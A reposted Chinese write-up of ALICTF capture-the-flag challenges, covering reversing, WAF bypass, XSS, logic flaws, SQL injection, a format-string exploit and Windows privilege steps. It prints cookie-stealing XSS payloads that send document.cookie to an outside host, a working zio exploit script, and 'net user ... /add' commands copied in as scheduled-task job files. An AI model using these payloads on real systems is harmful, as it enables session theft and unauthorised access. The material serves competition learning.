<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/5493

    Authors:

    EM [email protected]

    Ricter [email protected]

    附件

    0x00 Cake


    Cake 是一題 Android 題,具體流程就是一個輸入一個字符串然后,初始化一個長度為16的數組,然后將字符串與這個數組 xor 。所以我們只需要再 xor 一下就 ok 了。

    就是看代碼逆向下,關鍵是有兩個 Key 找對就 ok 直接上代碼

    #!python
    a = [0, 3, 13, 19, 85, 5, 15, 78, 22, 7, 7, 68, 14, 5, 15, 42]
    b = 'bobdylan'
    s = ''
    i = 0
    for x in a:
        s+= chr(x ^ ord(b[i % len(b)]))
        i += 1
    print s
    

    0x01 滲透繞過WAF1


    2、繞過云 WAF1 是一題繞過 WAF 題,這個 WAF 寫的很死,所以就要用其他辦法咯~

    通過打開的彈窗提示,需要在.alictf.com的子域下面做,于是 fuzz 子域名:

    enter image description here

    得出video.alictf.com,打開發現沒有 waf,注入點為id

    enter image description here

    0x02 前端初賽題1


    反射型 XSS,通過 ph 牛的文章<svg>標簽內<script>的內容可以 HTML encode,成功彈窗。

    enter image description here

    之后 payload 如下:

    #!javascript
    var i = new Image();
    i.src = "http://ricter.me:9999/?" + document.cookie;
    

    得到 flag。

    0x03 密碼寶寶


    密碼寶寶 一題逆向題,用了 upx 加殼。

    用010editor打開后,可以看到加了upx殼,用upx –d脫殼

    enter image description here

    在ida中查找GetWIndowTextA調用的地方

    enter image description here

    enter image description here

    Sub_405160這個函數就是進行判斷的函數

    enter image description here

    可以看到邏輯比較簡單,就是將”himemnl”的每一位與0x4c,0x5a,0x4b各異或一次,就可以得到密碼“5408031”

    0x04 簡單業務邏輯


    簡單業務邏輯 一題邏輯漏洞題~

    注冊賬號,其中 Username 為Admin

    enter image description here

    登錄后買 -111 個草泥馬:

    enter image description here

    得到好多錢,然后買最貴的那個。

    0x05 前端初賽題2


    前端初賽題2 簡單來說就是給你一個 flash 讓你彈彈彈

    直接反編譯得到 as 代碼,首先可以知道 ExternalInterface.call 肯定是利用電,但是發現它會 delete 掉那些方法。找資料發現

    http://drops.wooyun.org/papers/948
    

    如果你需要將你的vector發送到藏在防火墻的后面受害者(flashvars-可以使用#來達到隱藏自己的目的)又或者想突破一些客戶端的XSS防御機制這個方法將會十分的湊效。這一切都基于flash會丟棄一些被URL編碼過的無效字符。

    (1)flash會丟棄兩個出現在%后面的無效十六進制字符(([^0-9a-fA-F])),比如:

    "%X" or "%="
    

    (2)如果在%后面出現一個有效和一個非有效十六進制字符,就會丟棄三個字符,比如:

    "%AX" or "%A&"
    

    這樣處理后就能 bypass 那個 delete 了,因為在 for 里時把 %X 帶上了,最后在 call 的時候 flash 會丟棄這個

    然后在用這篇文章里的方法

    http://drops.wooyun.org/tips/2924
    

    帶上

    alert(1))}catch(e){alert(100)}//
    

    當然直接用彈不出來(血的教訓,卡了好久,審查元素看了下發現語句不一樣=。= 所以最后可以這樣彈

    #!javascript
    %Xdebug=\%22));alert(1);}catch(e){alert(100)}//
    

    最后 payload 如下

    #!javascript
    http://8dd25e24b4f65229.alictf.com/swf.swf?%Xdebug=\%22));eval(String.fromCharCode(101,118,97,108,40,34,118,97,114,32,120,61,110,101,119,32,73,109,97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,52,53,46,53,53,46,49,51,53,46,49,51,57,47,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,34,41));}catch(e){alert(100)}//
    

    0x06 滲透繞過WAF2


    繞過云WAF2 題目顯示說不在內網,所以第一步就是先設置一個內網 ip 咯 接下來看 writeup

    提示需要內部訪問,于是 fuzz IP:

    發現 10 開頭的 IP 可以訪問。通過更改 HTTP 請求方法為 PATCH 可以讓防護等級為中。
    更改關鍵字,如%20改為%0b等繞過檢測,注入得到 flag。

    enter image description here

    0x07 誰偷了你的站內短信


    誰偷了你的站內短信 一題 binary 題

    直接無腦 F5 ,可以看到 sendMail 直接 printf 了輸入,所以就有一個 Format String 漏洞。

    當然,要任意地址寫得有個數據在棧上,然后發現用戶名在棧上,再追一下棧上的數據,可以看到 76 的位置放著用戶名,所以我可以任意地址寫了。

    然后本來還想怎么泄漏 libc 的地址什么的,結果再看看代碼,那里躺著一個 print_flag 。。。這下就簡單了,發現在 sendMail 后返回后跟著三個 free ,我直接改 free 的 got 表,讓他跳到 print_flag 就行了,直接上代碼。

    #!python
    #coding:utf-8
    from zio import *
    
    print_flag = 0x08048BBD
    free_addr = 0x0804C014
    
    exp = """%134515645x%76$hn"""
    
    io = zio(('exploit.alictf.com',5608))
    ''' # 第一次注冊要用這個
    io.read_until('Quit')
    io.writeline('1')
    io.read_until('Name:')
    io.writeline(l32(free_addr))
    io.read_until('ass:')
    io.writeline('1234')
    '''
    
    io.read_until('Quit')
    io.writeline('2')
    io.read_until('Name:')
    io.writeline(l32(free_addr))
    io.read_until('ass:')
    io.writeline('1234')
    io.read_until('Quit')
    io.writeline('3')
    io.read_until('To:')
    
    io.writeline(exp)
    ''' # 這下面的去掉不然會超時,最后自己隨便寫就好了
    io.read_until('Title:')
    io.writeline('123')
    io.read_until('Body:')
    io.writeline('123')
    io.read_until('Quit')
    io.writeline('3')
    '''
    io.interact()
    

    0x08 業務邏輯和滲透


    先弄個正常的用戶,找回密碼,發現給了個地址

    http://jinan.alictf.com/resetpass/reset.php?pass_token=xxxxx
    

    想說這里的 token 可以控制就好了,再看重置密碼的頁面,發現底部有東西。

    testKey: 673f3e705c8d5b7af675f309e58d46c9
    ServerTime:15-03-29 20:46:03
    

    再想,token 明顯是個 md5 那么會是怎么組的呢,首先這個 testKey 和 ServerTime 肯定會用到,但是總不可能每個人的 token 都一樣,所以肯定還需要用戶名,試了下發現是

    md5(username + testKey + serverTime(時間戳))
    

    然后就可以修改 admin 的密碼了,但是。。說我異地登陸。嘗試改 xff 、 xrealip 等頭都不行。。。然后上網找了個 http 代理。。然后就。。就可以了。這題自帶地域歧視!山東人直接能秒了啊!!!

    0x09 前端初賽題3


    #!javascript
    <html>
    <head>
      <script src='jquery.min.js'></script>
      <script>
        function URL(url) {
            this.url = url
            this.illegal = false;
    
            this.scheme = null
            this.query = null;
            this.fragment = null;
            this.authority = '';
            this.path = '';
            this.username = null;
            this.password = null;
            this.port = 80;
        }
        URL.prototype.parse = function(){
          var url = this.url
    
          //parse fragment
          var pos = url.indexOf('#');
          if(pos > -1){
            if(url.length > pos+1){
              this.fragment = url.substr(pos+1, url.length-(pos+1));
            }
            url = url.substr(0, pos);
          }
          //parse query
          pos = url.indexOf('?');
          if(pos > -1){
            if(url.length > pos+1){
              this.query = url.substr(pos+1, url.length-(pos+1));
            }
            url = url.substr(0, pos);
          }
    
          //parse scheme
          var pos1 = url.indexOf(':');
          var pos2 = url.indexOf('/');
          if(pos1 > -1 && pos2 > pos1){
            this.scheme = url.substr(0, pos1).toLowerCase();
            url = url.substr(pos1+1);
            if(url.substr(0,2) == '//'){
              url = url.substr(2);
            }else{
              this.illegal = true;
              return
            }
          }else{
            this.illegal = true;
            return
          }
    
          while(url.charAt(0) == '/'){
            url = url.substr(1)
          }
    
          pos = url.indexOf('/')
          if(pos == -1){
            this.authority = url;
            this.path = '';
          }else{
            this.authority = url.substr(0, pos);
            this.path = url.substr(pos);
          }
    
          //parse username and password
          pos = this.authority.indexOf('@');
          if(pos == -1){
            this.username = null;
            this.password = null;
          }else{
            this.username = this.authority.substr(0, pos);
            this.authority = this.authority.substr(pos+1);
            pos = this.username.indexOf(':')
            if(pos == -1){
              this.password = null;
            }else{
              this.password = this.username.substr(pos+1);
              this.username = this.username.substr(0, pos);
            }
          }
    
          //parse port
          pos = this.authority.indexOf(':');
          if(pos > -1){
            this.port = this.authority.substr(pos+1);
            this.authority = this.authority.substr(0, pos)
          }
        }
        URL.prototype.validate = function(){
          this.parse();
    
          if(this.illegal) return;
          //validate scheme
          if(this.scheme != 'http' && this.scheme != 'https'){
            this.illegal = true;
            return;
          }
          if(this.username && this.username.indexOf('\\') > -1){
            this.illegal = true;
            return;
          }
          if(this.password && this.password.indexOf('\\') > -1){
            this.illegal = true;
            return;
          }
          if(this.authority != 'notexist.example.com'){
            this.illegal = true;
            return;
          }
        }
        URL.prototype.get = function(){
          if(this.illegal){
            return 'default.js';
          }else{
            return this.url;
          }
        }
      </script>
    </head>
    <body>
      <script type="text/javascript">
        var url = new URL(location.search.substr(1));
        url.validate()
        url = url.get()
        $.getScript(url)
      </script>
    </body>
    </html>
    

    讀 JavaScript 代碼,構造地址:

    http://ef4c3e7556641f00.alictf.com/xss.php?http://notexist.example.com:@notexist.example.com:@ricter.me:9999/  
    

    加載的 JavaScript 腳本和 XSS100 相同。

    0x10 簡單業務邏輯2


    #!php
    <!--
      function encrypt($plain) {
        $plain = md5($plain);
        $V = md5('??????'); 
        //var_dump($V);
        $rnd = md5(substr(microtime(),11));
    
        //var_dump(substr(microtime(),11)+mt_rand(0,35));
        $cipher = '';
        for($i = 0; $i < strlen($plain); $i++) {
            $cipher .= ($plain[$i] ^ $rnd[$i]);
        }
        $cipher .= $rnd;
        $V .= strrev($V);
        //var_dump($cipher);
        for($i = 0; $i < strlen($V); $i++) {
            $cipher[$i] = ($cipher[$i] ^ $V[$i]);
        }
        //var_dump($cipher);
        //var_dump($V);
        return str_replace('=', '', base64_encode($cipher));
    }
    function decrypt($cipher) {
        $V = md5('??????');
        $cipher_1 = base64_decode($cipher);
        //var_dump($cipher_1);
        if (strlen($cipher_1)!=64){
        return 'xx';
        }
    
        $V .= strrev($V);
        $plain = $cipher_1;
        //var_dump($cipher_1);
        //var_dump($V);
        for($i = 0; $i < strlen($V); $i++) {
            $plain[$i] = ($cipher_1[$i] ^ $V[$i]); 
        }
        $ran = substr($plain,32,32);
        $plain = substr($plain,0,32);
        //var_dump($plain);
        for ($i = 0; $i < strlen($ran); $i++) {
        $plain[$i] = ($plain[$i] ^ $ran[$i]);
        }
        //var_dump($plain);
        return $plain;
    }
    !>
    

    讀頁面中的 PHP 代碼,得到加密和解密算法。

    由此可知,前 32 位為:

    md5("Guest") ^ md5(rnd) ^ md5(V)
    

    后 32 位為:

    md5(rnd) ^ strrev(md5(V))
    

    如果想把前 32 位的用戶名從 Guest 換成 Admin,則有:

    md5("Guest") ^ md5(rnd) ^ md5(V) ^ md5("Guest") ^ md5("Admin")
    

    所以最終結果寫個 Python 腳本算即可_(:з」∠)_

    enter image description here

    登錄后 Cookie 中有一個 serailize 的注入,過濾了括號,不過分分鐘了..

    enter image description here

    0x11 滲透初賽題


    就是給一個網站你滲透~

    通過 URL 猜測注冊的 URL 為更改actionregister,之后前端修改繞過限制注冊賬號。

    enter image description here

    修改頭像處存在列目錄漏洞,發現網站備份文件。

    enter image description here

    進入后臺地址,通過萬能密碼繞過。其中第一層無名之盾繞過方式為 mul 表單繞過,第二層直接or{x 1}#

    enter image description here

    代碼審計得到 user_bak 函數處存在一個二次注入漏洞(about 那里)。

    enter image description here

    得到超級管理員密碼,為 h4xxxx!@#。

    然后我要吐槽了:

    這個題雖然出的不錯,但是最后這點真的是為了出題而出題了。ADS 能想到,新建文件夾也能想到,但是那個 admin_pic 真是要開腦洞的。最后隊友 eee 做出來了,大概是先 ADS 的 ::INDEX_ALLOCATION 新建文件夾,然后改 admin_pic 的 Cookie,再用 ::$DATA 上傳 php 文件。

    0x12 題目名稱:宙斯盾


    題目描述:你的當前token為 27638e649e4371f54eddb9a201f1b78c

    服務器:ageis.alictf.com

    請設法在服務器上新建一個以參賽者賬號昵稱為名字的管理員組賬號.

    創建成功后,訪問 http://ageis.alictf.com,若能看到 “昵稱:字符串”格式的內容,

    則將 字符串 和你的 token 拼接即為flag。

    A. 服務器上有一個賬號叫 alictf,為弱密碼。
    B. 操作系統版本為 win2003 x64。
    C. 本機已開啟VPN服務。
    D. 為了避免影響他人做題,在服務器上所有操作都不會真實成功的,只會完整記錄。
    E. 請不要對參賽服務器發起攻擊,我們會記錄,輕則屏蔽參賽者IP,重則取消比賽資格。
    

    題目很明顯就是要你登陸 VPN 。手工測試

    alictf:123456
    

    直接登錄。 ifconfig 看一下, ip 是 172.16.0.1 掃了下端口,就開了 80 445 1025 1723 3389 沒什么好想的 3389 肯定上不去,也不太可能是 snmp 直接 smb 那邊考慮下,本來想無腦 msf 直接打,結果發現死活不成功,然后看了下官方的 tips 讓我們好好看有存在什么文件,發現有兩個文件,是 windows 計劃任務文件夾下的文件, 即目錄為

    c:\windows\tasks
    

    一開始 at 一直不成功,就想說是不是因為沒寫路徑,然后就一直測試

    at \\172.16.0.1 xx:xx c:\windows\tasks\server.exe
    

    妄圖執行一個遠控,但是屢屢失敗,然后看官方的描述

    為了避免影響他人做題,在服務器上所有操作都不會真實成功的,只會完整記錄。
    

    考慮既然都不會執行,那要遠控干嘛。。所以直接執行命令好了!但是,人生最精彩的就在這個但是,這樣執行命令也是不行的!!!那怎么辦回歸原始,既然這個是個計劃任務的文件夾,那我直接把 job 文件復制進去好了,但是其實按理說不行,因為計劃任務和注冊表有些版本是有關聯的,但是比賽嘛,不管那么多了,先本地執行

    at xx:xx "net user eee password /add && net localgroup administrators eee /add"
    

    這樣會在 c:\windows\tasks\ 目錄生成一個 job 文件,那么我如果把這個文件復制進去是不是就能生成一個計劃任務呢?Just do it

    copy At1.job \\172.16.0.1\\Tasks\
    

    復制進去,以防萬一我弄了 At2.job 和 At65535.job 然后等待服務器執行!

    97av